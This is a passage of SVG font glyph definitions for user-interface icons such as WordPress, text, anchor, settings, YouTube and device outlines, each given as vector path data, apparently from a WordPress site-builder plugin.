16l42 166c3 11-4 23-15 26z" horiz-adv-x="1000" />

<glyph glyph-name="t-letter" unicode="&#xe86b;" d="M647-108c0 0-1 0-1 0h-292c-11 0-21 9-21 20s10 21 21 21c35 0 63 28 63 63v646h-271c-35 0-63-28-63-63 0-11-9-21-20-21s-21 10-21 21v209c0 11 9 20 21 20h875c11 0 20-9 20-20v-209c0-11-9-21-20-21s-21 10-21 21c0 35-28 63-63 63h-271v-646c0-35 28-63 63-63 0 0 0 0 0 0h1c11 0 21-9 21-21s-10-20-21-20z m-209 41h125c-13 18-21 39-21 63v667c0 11 9 20 21 20h291c24 0 45-7 63-20v104h-834v-104c18 13 39 20 63 20h292c11 0 20-9 20-20v-667c0-24-7-45-20-63z" horiz-adv-x="1000" />

<glyph glyph-name="wordpress" unicode="&#xe86c;" d="M108 346c0 54 13 108 34 158l187-512c-66 29-121 79-162 141-42 63-59 134-59 213z m659 17c0-9 0-13 0-21s-4-17-4-25c-5-9-5-17-5-21s-8-13-12-29c-4-17-8-25-8-29l-38-130-146 421c17 0 29 4 46 4 8 0 13 5 13 9 4 4 0 12 0 16-5 5-9 9-13 9l-108-9c-25 0-59 0-104 5-5 0-9 0-13-5 0 0 0 0-4-4 0-4 0-4 0-8 0-4 0-4 4-8s4-5 8-5l42-4 63-166-88-259-142 425c17 0 30 4 46 4 9 0 13 5 13 9 4 4 0 12 0 16-4 5-9 9-17 5l-104-5c0 0-4 0-13 0s-8 0-12 0c37 55 83 96 142 130s120 45 187 45c50 0 100-8 142-29s87-41 121-75h-5c-20 0-33-8-45-21-13-12-21-29-21-50 0-4 0-8 0-12s0-8 0-13c0-4 0-8 4-12 0-4 4-8 4-13s4-8 4-12c4-4 4-8 9-13 0 0 4-4 8-12 4-4 4-8 8-13 25-20 38-58 38-95z m-259-55l121-329c0 0 0-4 4-4-41-17-87-21-129-21-37 0-75 4-112 17l116 337z m338 225c33-58 50-120 50-187 0-71-17-138-54-196s-84-108-142-142l121 346c21 59 29 104 29 142-4 12-4 25-4 37z m-525 234c58 25 117 37 179 37s121-12 179-37 104-59 146-96c42-42 75-92 96-146 25-58 37-117 37-179s-12-121-37-179c-25-59-58-104-96-146-42-42-92-75-146-96s-116-38-179-38-121 13-179 38-104 58-146 96c-42 42-75 92-96 146-25 54-37 116-37 179s12 121 37 179 59 104 96 146 92 71 146 96z m8-825c54-25 113-34 171-34s117 13 171 34c54 25 100 54 142 91 37 38 70 88 91 142 25 54 34 113 34 171s-13 117-34 171c-25 54-54 100-91 141-38 38-88 71-142 92-54 25-113 33-171 33s-117-12-171-37-100-54-137-92-71-87-96-141-33-113-33-171 12-117 33-171 54-100 92-142c41-33 87-62 141-87z" horiz-adv-x="1000" />

<glyph glyph-name="text" unicode="&#xe86d;" d="M979 642h-958c-12 0-21 9-21 21s9 20 21 20h958c12 0 21-9 21-20s-9-21-21-21z m-291-125h-667c-12 0-21 9-21 21s9 20 21 20h667c11 0 20-9 20-20s-9-21-20-21z m291-125h-958c-12 0-21 9-21 21s9 20 21 20h958c12 0 21-9 21-20s-9-21-21-21z m-291-125h-667c-12 0-21 9-21 21s9 20 21 20h667c11 0 20-9 20-20s-9-21-20-21z m291-125h-958c-12 0-21 9-21 21s9 20 21 20h958c12 0 21-9 21-20s-9-21-21-21z m-291-125h-667c-12 0-21 9-21 21s9 20 21 20h667c11 0 20-9 20-20s-9-21-20-21z" horiz-adv-x="1000" />

<glyph glyph-name="anchor" unicode="&#xe86e;" d="M500-154c-10 0-19 8-20 17-8 7-38 16-61 24-79 24-196 61-245 167h-28c-3 0-6 1-9 2-10 5-95 50-95 269 0 9 5 16 13 20 7 3 16 1 22-5 102-101 204-163 205-164 9-5 12-17 8-27l-14-28c65-62 108-67 120-67 16 0 21 24 21 25l0 392h-63c-20-26-51-42-83-42-58 0-104 47-104 105s46 104 104 104c32 0 63-16 83-42h63v32c-27 24-42 57-42 93 0 69 56 125 125 125s125-56 125-125c0-36-15-69-42-93v-32h63c20 26 51 42 83 42 58 0 104-47 104-104s-46-105-104-105c-32 0-63 16-83 42h-63v-396c0 0 0 0 0 0 1 0 6-21 21-21 12 0 55 5 121 67l-14 28c-5 10-2 22 7 27 2 1 104 63 205 164 6 6 15 8 23 5 7-4 12-11 12-20 0-219-85-264-95-269-3-1-6-2-9-2h-28c-49-106-166-143-244-167-24-8-54-17-61-24-2-9-11-17-21-17z m-348 250h36c8 0 16-5 19-13 38-98 150-133 224-157 29-9 53-16 69-26 16 10 40 17 69 26 74 24 186 59 224 157 3 8 11 13 20 13h35c12 9 57 50 67 179-68-62-130-105-159-124l13-25c4-8 2-17-4-24-58-57-115-89-161-89-41 0-59 38-62 59l0 420c0 11 9 21 21 21h94c8 0 15-4 18-11 12-19 32-31 54-31 35 0 63 28 63 63s-28 62-63 62c-22 0-42-12-54-31-3-7-10-11-18-11h-94c-12 0-21 10-21 21v63c0 7 3 13 8 17 21 16 33 40 33 66 0 46-37 83-83 83s-83-37-83-83c0-26 12-50 33-66 5-4 8-10 8-17v-63c0-11-9-21-20-21h-95c-8 0-15 4-18 11-12 19-32 31-54 31-35 0-63-28-63-62s28-63 63-63c22 0 42 12 54 31 3 7 10 11 18 11h95c11 0 20-10 20-21v-417c-3-24-21-62-62-62-46 0-103 32-161 89-6 7-8 16-4 24l13 25c-29 19-91 62-159 124 10-129 54-170 67-179z" horiz-adv-x="1000" />

<glyph glyph-name="bullet-list" unicode="&#xe86f;" d="M979 663h-708c-12 0-21 9-21 20s9 21 21 21h708c12 0 21-9 21-21s-9-20-21-20z m0-334h-708c-12 0-21 10-21 21s9 21 21 21h708c12 0 21-9 21-21s-9-21-21-21z m0-333h-708c-12 0-21 9-21 21s9 21 21 21h708c12 0 21-10 21-21s-9-21-21-21z m-875 250c-57 0-104 47-104 104s47 104 104 104 104-47 104-104-46-104-104-104z m0 167c-34 0-62-28-62-63s28-62 62-62 63 28 63 62-28 63-63 63z m0-501c-57 0-104 47-104 105s47 104 104 104 104-47 104-104-46-105-104-105z m0 167c-34 0-62-28-62-62s28-63 62-63 63 28 63 63-28 62-63 62z m0 500c-57 0-104 47-104 104s47 105 104 105 104-47 104-105-46-104-104-104z m0 167c-34 0-62-28-62-63s28-62 62-62 63 28 63 62-28 63-63 63z" horiz-adv-x="1000" />

<glyph glyph-name="code" unicode="&#xe870;" d="M313-129c-3 0-6 0-8 1-11 5-16 17-12 27l375 917c5 11 17 16 27 12 11-5 16-17 12-28l-375-916c-3-8-11-13-19-13z m416 167c-5 0-9 1-13 5-9 7-10 20-3 29l239 278-239 278c-7 9-6 22 3 30 8 7 22 6 29-3l250-291c7-8 7-20 0-27l-250-292c-4-5-10-7-16-7z m-458 0c-6 0-12 2-16 7l-250 292c-7 7-7 19 0 27l250 291c8 9 21 10 29 3 9-8 10-21 3-30l-239-278 239-278c7-9 6-22-3-29-3-4-8-5-13-5z" horiz-adv-x="1000" />

<glyph glyph-name="favorite" unicode="&#xe871;" d="M500-150c-276 0-500 224-500 500s224 500 500 500 500-224 500-500-224-500-500-500z m0 958c-253 0-458-205-458-458s205-458 458-458 458 205 458 458-205 458-458 458z m188-750c-4 0-8 2-12 4l-176 117-176-117c-7-5-17-5-24 0-7 5-10 14-8 23l59 215-176 138c-7 5-10 15-7 23 3 8 11 14 20 14h215l78 195c6 16 32 16 38 0l78-195h216c8 0 16-6 19-14 3-8 0-18-7-23l-176-138 59-215c2-9-1-18-8-23-4-2-8-4-12-4z m-188 167c4 0 8-1 12-3l141-95-48 176c-2 8 1 17 7 22l140 108h-169c-8 0-16 6-19 13l-64 160-64-159c-3-8-11-14-19-14h-169l140-108c6-5 9-14 7-22l-48-176 141 95c4 2 8 3 12 3z" horiz-adv-x="1000" />

<glyph glyph-name="google-maps" unicode="&#xe872;" d="M750 100c-10 0-18 7-20 17-33 162-91 252-137 324-12 18-23 35-33 52-18 26-30 57-35 90-3 14-4 26-4 38 0 126 103 229 229 229s229-103 229-229c0-12-1-24-4-38-5-33-17-64-36-91-8-16-20-33-31-51-47-72-105-162-138-324-1-10-10-17-20-17z m0 708c-103 0-187-84-187-187 0-9 1-19 3-30 4-29 14-54 29-76 10-17 21-34 33-52 39-61 87-136 122-255 35 119 83 193 123 255 11 18 22 35 31 51 16 23 26 48 30 76 3 12 4 22 4 31 0 103-85 187-188 187z m0-291c-57 0-104 46-104 104s47 104 104 104 104-47 104-104-47-104-104-104z m0 166c-34 0-62-28-62-62s28-63 62-63 63 28 63 63-28 62-63 62z m83-833h-708c-57 0-104 47-104 104v667c0 57 47 104 104 104h417c11 0 21-9 21-21s-10-21-21-21h-417c-34 0-62-28-62-62v-667c0-34 28-62 62-62h708c35 0 63 28 63 62v521c0 12 9 21 21 21s21-9 21-21v-521c0-57-47-104-105-104z m-750 42c-5 0-10 2-14 6-8 8-8 21 0 29l520 521c9 8 22 8 30 0s8-21 0-29l-521-521c-4-4-9-6-15-6z m792 0c-5 0-11 2-15 6l-396 396c-8 8-8 21 0 29s22 8 30 0l396-396c8-8 8-21 0-29-4-4-10-6-15-6z m-667 583c-46 0-83 37-83 83s37 84 83 84 84-38 84-84-38-83-84-83z m0 125c-23 0-41-19-41-42s18-41 41-41 42 18 42 41-19 42-42 42z m84 0h-84c-11 0-20 9-20 21s9 21 20 21h84c11 0 21-10 21-21s-10-21-21-21z m-84-292c-71 0-104 49-104 84 0 39 37 65 110 78-3 8-6 16-6 26 0 11 10 21 21 21s21-10 21-21c0-10 9-19 23-32 18-17 40-39 40-72 0-74-51-84-105-84z m37 125c-73-10-99-28-99-41 0-9 11-42 62-42 60 0 63 14 63 42 0 14-10 25-26 41z" horiz-adv-x="1000" />

<glyph glyph-name="image" unicode="&#xe873;" d="M42 83l212 300c9 9 21 13 34 5l137-96 192 233c8 13 29 13 37 0l304-454v608h-916v-596z m896-66l-309 458-183-225c-8-8-21-12-29-4l-134 96-229-325h884z m-917-46c-13 0-25 8-25 21v708c0 17 12 25 25 25h958c13 0 21-8 21-21v-708c0-13-8-21-21-21h-958z m246 571c0 25-21 50-46 50s-50-21-50-50 21-50 46-50 50 25 50 50z m46 0c0-50-42-96-92-96s-96 46-96 96 42 96 92 96 96-42 96-96z" horiz-adv-x="1000" />

<glyph glyph-name="photo-library" unicode="&#xe874;" d="M729 142h-708c-12 0-21 9-21 21v625c0 11 9 20 21 20h708c12 0 21-9 21-20v-625c0-12-9-21-21-21z m-687 41h666v584h-666v-584z m687-41c-7 0-15 4-18 11l-212 424-148-258c-3-6-8-10-15-10-6-1-13 1-17 5l-107 107-174-270c-6-9-19-12-28-6-10 6-13 19-7 29l188 291c3 6 9 9 15 10 6 1 13-2 17-6l106-106 153 268c4 7 11 11 19 11 7 0 14-5 18-12l229-458c5-10 1-23-9-28-3-2-7-2-10-2z m-500 375c-57 0-104 46-104 104s47 104 104 104 104-47 104-104-46-104-104-104z m0 166c-34 0-62-28-62-62s28-63 62-63 63 28 63 63-28 62-63 62z m584-625h-709c-11 0-21 10-21 21v84c0 11 10 20 21 20s21-9 21-20v-63h667v583h-42c-11 0-21 10-21 21s10 21 21 21h63c11 0 20-9 20-21v-625c0-11-9-21-20-21z m83-83h-708c-12 0-21 9-21 21v83c0 12 9 21 21 21s20-9 20-21v-62h667v583h-62c-12 0-21 9-21 21s9 21 21 21h83c11 0 21-10 21-21v-625c0-12-10-21-21-21z m83-83h-708c-12 0-21 9-21 20v84c0 11 9 21 21 21s21-10 21-21v-63h666v542h-62c-12 0-21 9-21 21s9 21 21 21h83c12 0 21-10 21-21v-584c0-11-9-20-21-20z" horiz-adv-x="1000" />

<glyph glyph-name="woocommerce" unicode="&#xe875;" d="M896 642h-792c-57 0-104-47-104-104v-292c0-58 47-104 104-104h403l128-80c3-3 7-4 11-4 5 0 11 3 15 7 7 7 8 18 2 26l-34 51h267c57 0 104 46 104 104v292c0 57-47 104-104 104z m62-396c0-35-28-63-62-63h-306c-7 0-14-4-18-11s-3-15 1-21l2-3-51 32c-4 2-8 3-11 3h-409c-34 0-62 28-62 63v292c0 34 28 62 62 62h792c34 0 62-28 62-62v-292z m-537 325c-47-60-61-198-65-273-23 43-41 115-51 156-11 49-15 63-34 63-17 0-19 0-85-144-10-21-22-47-32-68-6 41-12 99-18 142-4 36-8 69-11 93-2 12-12 20-24 18-11-1-19-12-17-23 3-24 7-57 11-93 26-217 27-217 51-217 17 0 18 0 78 131 13 28 29 62 41 88 23-96 50-192 101-217 3-1 6-2 9-2 4 0 8 1 11 3 6 4 10 11 10 18 0 87 16 245 58 300 7 9 5 22-4 29-9 7-22 5-29-4z m166-54c-54 0-109-63-125-142-9-50-1-96 22-123 14-18 33-27 54-27 55 0 109 62 125 142 9 49 1 95-22 123-14 17-33 27-54 27z m35-142c-13-64-54-108-84-108-9 0-16 3-22 11-15 18-20 52-13 89 13 64 54 108 84 108 9 0 16-4 22-11 15-18 20-52 13-89z m215 142c-54 0-109-63-125-142-9-50-1-96 22-123 14-18 33-27 54-27 55 0 109 62 125 142 9 49 1 95-22 123-14 17-33 27-54 27z m35-142c-13-64-54-108-84-108-9 0-16 3-22 11-15 18-20 52-13 89 13 64 54 108 84 108 9 0 16-4 22-11 15-18 20-52 13-89z" horiz-adv-x="1000" />

<glyph glyph-name="youtube" unicode="&#xe876;" d="M500-19c-49 0-98 2-146 6l-221 20c-76 6-133 69-133 145v396c0 76 57 139 133 145l221 19c97 9 195 9 292 0l221-19c76-6 133-69 133-145v-396c0-76-57-139-133-145l-221-20c-48-4-97-6-146-6z m0 696c-48 0-95-2-143-6l-220-19c-54-5-95-50-95-104v-396c0-54 41-99 95-104l220-19c95-8 191-8 286 0l220 19 0 0c54 5 95 50 95 104v396c0 54-41 99-95 104l-220 19c-48 4-95 6-143 6z m-104-535c-4 0-7 0-10 2-7 4-11 11-11 18v375c0 8 4 15 11 19 7 3 15 3 21-1l292-188c6-3 9-10 9-17s-3-14-9-18l-292-187c-3-2-7-3-11-3z m21 357v-298l232 149-232 149z" horiz-adv-x="1000" />

<glyph glyph-name="flip-box" unicode="&#xe877;" d="M813 788h-625c-12 0-21-10-21-21v-834c0-11 9-21 21-21h625c11 0 20 10 20 21v834c0 11-9 21-20 21z m-21-834h-584v792h584v-792z m207 264c-4 11-15 17-26 13l-35-11c42 86 44 194-32 271-8 8-22 8-30 0-8-8-8-21 0-29 64-65 60-159 21-232l-16 47c-4 11-15 17-26 13-11-4-17-15-13-26l29-89c0 0 1-1 1-1 1-2 1-3 2-4 1-1 2-2 3-3 0-1 1-1 1-2 0 0 1 0 1 0 1-1 2-1 3-2 2-1 6-2 9-2 2 0 4 0 6 1l89 30c11 3 17 15 13 26z m-870 265c0 1-1 1-1 2 0 1-1 2-2 4-1 1-2 1-2 2-1 1-1 2-2 2-1 1-1 1-2 1-1 0-1 1-1 1-1 0-2 0-2 1-2 0-3 1-5 1-1 0-2 0-3 0-2 0-3 0-4 0-1-1-2-1-2-1l-89-29c-11-4-17-16-13-27 4-10 16-16 27-13l34 12c-42-86-44-195 33-272 4-4 9-6 14-6 6 0 11 2 15 6 8 8 8 21 0 30-64 64-59 158-21 231l16-46c3-9 11-15 20-15 2 0 4 1 6 1 11 4 17 16 14 27l-30 88z m184 13h375c11 0 20 9 20 21s-9 21-20 21h-375c-12 0-21-10-21-21s9-21 21-21z m0-125h375c11 0 20 9 20 21s-9 21-20 21h-375c-12 0-21-10-21-21s9-21 21-21z m0-125h375c11 0 20 9 20 21s-9 21-20 21h-375c-12 0-21-10-21-21s9-21 21-21z m0-125h166c12 0 21 9 21 21s-9 21-21 21h-166c-12 0-21-10-21-21s9-21 21-21z" horiz-adv-x="1000" />

<glyph glyph-name="settings" unicode="&#xe878;" d="M662-117c-14 0-27 3-40 10-21 12-36 33-40 57-4 21-23 35-45 33-24-3-50-3-74 0-22 2-41-12-45-33-4-24-19-45-40-57-22-12-48-13-72-3-38 16-75 37-108 62-20 15-32 38-32 64-1 24 10 48 29 64 16 13 18 36 6 54-15 20-27 42-38 65-8 20-30 29-50 22-23-9-49-6-70 6-21 13-36 35-39 60-3 21-4 42-4 63s1 42 4 63c3 25 18 47 39 60 21 12 47 15 70 6 20-7 42 3 50 22 11 23 23 45 38 65 13 18 10 41-6 55-19 15-30 39-29 63 0 26 12 49 32 64 33 25 70 46 108 62 23 10 50 9 72-3 21-12 36-33 40-57 4-21 23-35 45-33 24 3 50 3 74 0 22-2 41 12 45 33 4 24 19 45 40 57 22 12 49 13 72 3 38-16 75-37 108-62 20-15 32-38 33-64 0-24-11-48-30-63-16-14-18-37-5-55 14-20 27-42 37-65 9-19 31-29 50-22 23 9 49 6 70-6 22-13 36-35 39-60 3-21 4-42 4-63s-1-42-4-63c-3-25-17-47-39-60-21-12-47-15-70-6l0 0c-19 7-42-2-50-22-11-23-23-45-38-65-12-18-10-41 6-54 19-16 30-40 29-64 0-26-12-49-32-64-33-25-70-46-108-62-10-5-21-7-32-7z m-120 142c40 0 74-28 81-68 2-12 9-22 19-27 11-6 24-7 36-2 35 15 68 34 99 57 10 8 16 19 16 31 0 12-5 24-14 31-34 28-39 75-13 111 13 18 24 38 33 58 17 39 62 59 102 44l0 0c12-4 24-3 35 3 10 7 17 17 19 30 2 19 3 38 3 57s-1 38-3 57c-2 13-9 24-19 30-11 6-23 7-34 3-40-15-86 5-103 44-9 20-20 40-33 58-26 36-21 83 13 111 9 7 14 19 14 31 0 12-6 23-16 31-31 23-64 42-99 57-12 5-25 4-36-2-10-5-17-16-19-27-7-43-46-72-90-67-22 2-44 2-66 0-44-5-83 24-90 67-2 11-9 22-19 27-11 6-24 7-36 2-35-15-68-34-99-57-10-8-15-19-16-31 0-12 5-24 14-31 34-28 39-75 13-111-12-18-24-38-33-58-17-39-62-59-102-44-12 4-24 3-34-3-11-6-18-17-20-30-2-19-3-38-3-57s1-38 3-57c2-13 9-23 20-30 10-6 22-7 33-3 41 15 86-4 103-44 9-20 21-40 33-57 26-36 21-84-13-112-9-7-14-18-14-30 1-13 6-24 16-32 31-23 64-42 99-57 12-5 25-4 36 2 10 6 17 16 19 27 7 43 46 72 90 67 22-2 44-2 66 0 3 0 6 1 9 1z m-42 117c-115 0-208 93-208 208s93 208 208 208 208-93 208-208-93-208-208-208z m0 375c-92 0-167-75-167-167s75-167 167-167 167 75 167 167-75 167-167 167z" horiz-adv-x="1000" />

<glyph glyph-name="headphones" unicode="&#xe879;" d="M1036 189v143c0 275-232 518-500 518s-500-243-500-518v-143a175 175 0 0 1-36-107 247 247 0 0 1 232-232 55 55 0 0 1 54 54v321a55 55 0 0 1-54 54 256 256 0 0 1-161-54v107a503 503 0 0 0 179 375v-89a20 20 0 0 1 11-18 16 16 0 0 1 18 4 334 334 0 0 0 253 100 329 329 0 0 0 254-100 19 19 0 0 1 14-8h7a20 20 0 0 1 11 18v93a491 491 0 0 0 178-375v-107a256 256 0 0 1-160 54 55 55 0 0 1-54-54v-321a55 55 0 0 1 54-54 247 247 0 0 1 232 232 154 154 0 0 1-32 107z m-786-285a18 18 0 0 0-36 0v321a18 18 0 0 0 36 0v-321z m-71 335v-343a210 210 0 0 0-143 186c0 86 68 139 143 157z m607 486v-68a390 390 0 0 1-250 82 390 390 0 0 1-250-82v75a454 454 0 0 0 250 82 445 445 0 0 0 250-82v-7z m35-500a18 18 0 0 0 36 0v-321a18 18 0 0 0-36 0v321z m72-329v343c78-18 143-68 143-157a214 214 0 0 0-143-186z" horiz-adv-x="1069" />

<glyph glyph-name="testimonial" unicode="&#xe87a;" d="M155-150a13 13 0 0 0-10 3 17 17 0 0 0-7 21l93 252h-83a149 149 0 0 0-148 148v428a149 149 0 0 0 148 148h707a149 149 0 0 0 148-148v-431a149 149 0 0 0-148-149h-348l-341-272h-11z m-7 966a115 115 0 0 1-113-114v-431a115 115 0 0 1 113-114h111a18 18 0 0 0 13-7 26 26 0 0 0 4-17l-83-218 297 238a13 13 0 0 0 10 4h355a115 115 0 0 1 114 114v434a115 115 0 0 1-114 114l-707-3h0z" horiz-adv-x="1003" />

<glyph glyph-name="counter-circle" unicode="&#xe87b;" d="M321 488c-8 0-13 0-17-5l-62-91c-4-9-4-17 4-21 8-4 17-4 21 4l33 50v-196c0-8 8-16 17-16 8 0 16 8 16 16v242c0 8-4 12-12 17z m150 0c-42 0-75-34-75-75 0-9 8-17 17-17s16 8 16 17c0 25 21 45 46 45s46-20 46-45v-9c0-8-4-21-8-29l-109-137c-4-5-4-13 0-17 4-4 9-8 13-8h121c8 0 16 8 16 16s-8 17-16 17h-92l87 112c13 13 17 30 17 46v9c-4 41-37 75-79 75z m287-75c0 41-33 75-75 75s-75-34-75-75c0-9 9-17 17-17s17 8 17 17c0 25 21 45 46 45 25 0 45-20 45-45s-20-46-45-46c-9 0-17-9-17-17s8-17 17-17c25 0 45-20 45-45s-20-46-45-46c-25 0-46 21-46 46 0 8-9 16-17 16s-17-8-17-16c0-42 34-75 75-75s75 33 75 75c0 25-12 45-29 62 17 13 29 38 29 63z m-258 416c263 0 479-216 479-479s-216-479-479-479-479 217-479 479c0 92 25 183 79 263 8 8 21 12 29 4 9-4 13-17 4-29-45-71-70-150-70-238 0-242 195-438 437-438s438 196 438 438-196 438-438 438c-12 0-21 8-21 20s9 21 21 21z" horiz-adv-x="1000" />

<glyph glyph-name="person" unicode="&#xe87c;" d="M500 142c-103 0-194 83-232 208-34 2-60 46-60 104 0 17 3 33 7 47-5 21-7 40-7 57 0 161 131 292 292 292s292-131 292-292c0-17-2-36-7-57 5-14 7-30 7-47 0-58-26-102-60-104-38-125-129-208-232-208z m-217 253c3 0 5 0 7-1 7-3 12-7 13-14 30-118 109-197 197-197s168 79 197 197c1 7 6 12 12 14 6 3 13 2 19-1 7-2 22 21 22 61 0 14-2 28-6 40-1 3-1 7 0 11 4 20 6 37 6 53 0 138-112 250-250 250s-250-112-250-250c0-16 2-33 7-53 0-4 0-8-1-11-4-12-6-26-6-40 0-40 16-62 21-62 3 2 8 3 12 3z m425 80c-8 0-15 5-19 12 0 2-16 37-21 72-87 6-178 48-222 93-4-7-9-13-14-18-34-34-87-34-114-34-6-14-9-59-5-103 0-6-2-12-7-16-5-5-11-7-17-6-1 0-29 5-53 5-11 0-21 9-21 20s10 21 21 21c12 0 24-1 34-1-2 37 0 91 19 111 8 8 18 11 29 11 25 0 64 1 84 21 10 10 15 23 15 41 0 12 9 21 21 21s20-9 20-21c3-21 107-104 230-104 11 0 20-9 20-21 0-20 8-46 14-61l40 3c12 1 22-7 23-19 1-11-8-21-19-22l-56-5c0 0-1 0-2 0z m-270-42h-42c-12 0-21 10-21 21s9 21 21 21h42c11 0 20-9 20-21s-9-21-20-21z m166 0h-41c-12 0-21 10-21 21s9 21 21 21h41c12 0 21-9 21-21s-9-21-21-21z m375-583h-958c-7 0-13 3-17 8-4 5-5 12-3 18l32 129c7 30 27 55 55 68l215 108c5 3 11 3 17 1 5-2 9-6 12-11l107-251 16 32c-14 19-38 56-38 86 0 38 32 62 83 62s83-24 83-62c0-30-24-67-38-86l16-32 107 251c3 5 7 9 12 11 6 2 12 2 17-1l216-108c27-13 47-38 54-68l32-129c2-6 1-13-3-18-4-5-10-8-17-8z m-385 42h359l-26 103c-5 18-17 33-33 41l-196 98-104-242z m-123 0h58l-27 53c-3 7-2 16 3 22 15 19 37 54 37 71 0 18-29 20-42 20s-42-2-42-20c0-17 23-52 38-71 5-6 6-15 2-22l-27-53z m-423 0h358l-104 242-196-98c-16-8-28-23-32-41l-26-103z" horiz-adv-x="1000" />

<glyph glyph-name="chevron-right" unicode="&#xe87d;" d="M696 317c12 12 17 29 17 46 0 16-5 33-17 41l-296 300c-12 13-25 21-46 21-16 0-29-4-41-17-13-12-21-29-21-45 0-17 4-34 16-46l255-259-259-279c-12-12-16-29-16-46 0-16 8-33 20-46 13-8 30-12 46-12 17 0 34 8 46 21l296 321z" horiz-adv-x="1000" />

<glyph glyph-name="chevron-left" unicode="&#xe87e;" d="M646 725c-17 0-33-8-42-17l-296-300c-12-12-16-29-16-45 0-17 4-34 16-46l296-321c13-13 25-21 42-21 17 0 33 4 46 17 12 12 21 29 21 46 0 16-5 33-21 45l-254 280 254 262c8 8 16 21 16 38 0 16-4 33-16 45-17 13-29 17-46 17z" horiz-adv-x="1000" />

<glyph glyph-name="close" unicode="&#xe87f;" d="M742 683l-242-241-242 241c-12 13-25 17-41 17-21 0-38-8-50-17-13-12-17-29-17-45 0-17 4-30 21-42l237-246-241-242c-29-29-29-58 0-87 29-29 58-29 87 0l242 242 242-242c12-13 29-17 45-17 17 0 34 4 46 17 13 12 17 25 17 46 0 16-4 33-17 46l-241 237 245 242c30 29 30 58 0 87-29 34-58 34-91 4z" horiz-adv-x="1000" />

<glyph glyph-name="file-download" unicode="&#xe880;" d="M792 475h-167v250h-250v-250h-167l292-292 292 292z m-584-375v-83h584v83h-584z" horiz-adv-x="1000" />

<glyph glyph-name="save" unicode="&#xe881;" d="M772 850a247 247 0 0 0 156-98 315 315 0 0 0 60-108 217 217 0 0 0 12-67v-636a93 93 0 0 0-94-91h-813a93 93 0 0 0-93 91v815a93 93 0 0 0 93 94h679z m-15-59h-516a52 52 0 0 1-52-52v-281a52 52 0 0 1 52-53h517a52 52 0 0 1 53 53v281a52 52 0 0 1-53 52z m-60 0h-143v-231h0a22 22 0 0 1 23-22h99a22 22 0 0 1 23 22z" horiz-adv-x="1000" />

<glyph glyph-name="zoom-in" unicode="&#xe882;" d="M646 267h-33l-13 12c42 46 67 109 67 175 0 150-121 271-271 271s-271-121-271-271c0-150 121-271 271-271 67 0 129 25 175 67l12-12v-34l209-208 62 62-208 209z m-250 0c-104 0-188 83-188 187s84 188 188 188 187-84 187-188-83-187-187-187z m21 208h83v-42h-83v-83h-42v83h-83v42h83v83h42v-83z" horiz-adv-x="1000" />

<glyph glyph-name="shortcode" unicode="&#xe883;" d="M917 646v-583c0-13-9-21-21-21h-83c-13 0-21 8-21 21 0 12 8 20 21 20h62v542h-62c-13 0-21 8-21 21 0 12 8 21 21 21h83c12 0 21-9 21-21z m-729-21c12 0 20 4 20 21 0 12-8 21-20 21h-84c-12 0-21-9-21-21v-583c0-13 9-21 21-21h84c12 0 20 8 20 21 0 12-8 20-20 20h-63v542h63z m125-383c-25 0-42-17-42-42s17-42 42-42 41 17 41 42-16 42-41 42z m187 0c-25 0-42-17-42-42s17-42 42-42c25 0 42 17 42 42s-17 42-42 42z m188 0c-25 0-42-17-42-42s17-42 42-42 41 17 41 42-16 42-41 42z" horiz-adv-x="1000" />

<glyph glyph-name="nerd" unicode="&#xe884;" d="M958 350c0 253-205 458-458 458s-458-205-458-458 205-458 458-458 458 205 458 458z m42 0c0-276-224-500-500-500s-500 224-500 500 224 500 500 500 500-224 500-500z m-768-135c53-93 146-136 268-136s215 43 268 136c6 10 2 23-8 28-10 6-22 2-28-8-45-78-123-114-232-114s-187 36-232 114c-6 10-18 14-28 8-10-5-14-18-8-28z m466 447c-95 0-172-74-176-168-6 1-14 2-22 2-8 0-16-1-22-2-4 94-81 168-176 168-97 0-176-79-176-177s79-176 176-176c71 0 133 43 161 104 9 2 16 10 16 20 0 21 1 21 21 21 20 0 21 0 21-21 0-10 7-18 17-20 27-61 89-104 160-104 97 0 176 79 176 176s-79 177-176 177z m-396-313c-75 0-136 61-136 136 0 76 61 137 136 137 76 0 136-62 136-137 0-75-60-136-136-136z m396 0c-75 0-136 61-136 136 0 76 61 137 136 137 75 0 136-62 136-137 0-75-61-136-136-136z m23 134c0 12-9 21-21 21s-21-9-21-21 9-20 21-20 21 9 21 20z m42 0c0-34-28-62-63-62-35 0-62 28-62 62s27 63 62 63c35 0 63-28 63-63z m-438 0c0 12-9 21-21 21s-21-9-21-21 10-20 21-20 21 9 21 20z m42 0c0-34-28-62-63-62s-62 28-62 62 28 63 62 63 63-28 63-63z" horiz-adv-x="1000" />

<glyph glyph-name="device-desktop" unicode="&#xe885;" d="M558 21c26 0 46-21 46-46v-24c0-7-6-14-14-14h-180c-8 0-14 7-14 14v24c0 25 20 46 46 46h116z m306 741c52 0 94-43 94-95v-509c0-53-42-95-94-95h-728c-52 0-94 42-94 95v509c0 52 42 95 94 95h728z m0-84h-728c-5 0-10-3-11-8l0-3v-425h750v425c0 6-4 10-9 11l-2 0z" horiz-adv-x="1000" />

<glyph glyph-name="device-tablet" unicode="&#xe886;" d="M788 808c48 0 87-39 87-87v-742c0-48-39-87-87-87h-575c-49 0-88 39-88 87v742c0 48 39 87 88 87h575z m0-83h-575c-3 0-4-2-5-4l0 0v-742c0-2 2-4 4-4l1 0h575c2 0 3 2 4 4l0 0v742c0 2-2 4-4 4l0 0z m-205-646c23 0 42-19 42-41v-8c0-7-6-13-14-13h-222c-8 0-14 6-14 13v8c0 22 19 41 42 41h166z" horiz-adv-x="1000" />

<glyph glyph-name="device-mobile" unicode="&#xe887;" d="M700 808c48 0 88-39 88-87v-742c0-48-40-87-88-87h-400c-48 0-87 39-87 87v742c0 48 39 87 87 87h400z m0-83h-400c-2 0-4-2-4-4l0 0v-742c0-2 2-4 4-4l0 0h400c2 0 4 2 4 4l0 0v742c0 2-1 4-4 4l0 0z m-164-646c23 0 42-19 42-41v-8c0-7-6-13-14-13h-118c-8 0-14 6-14 13v8c0 22 19 41 42 41h62z" horiz-adv-x="1000" />

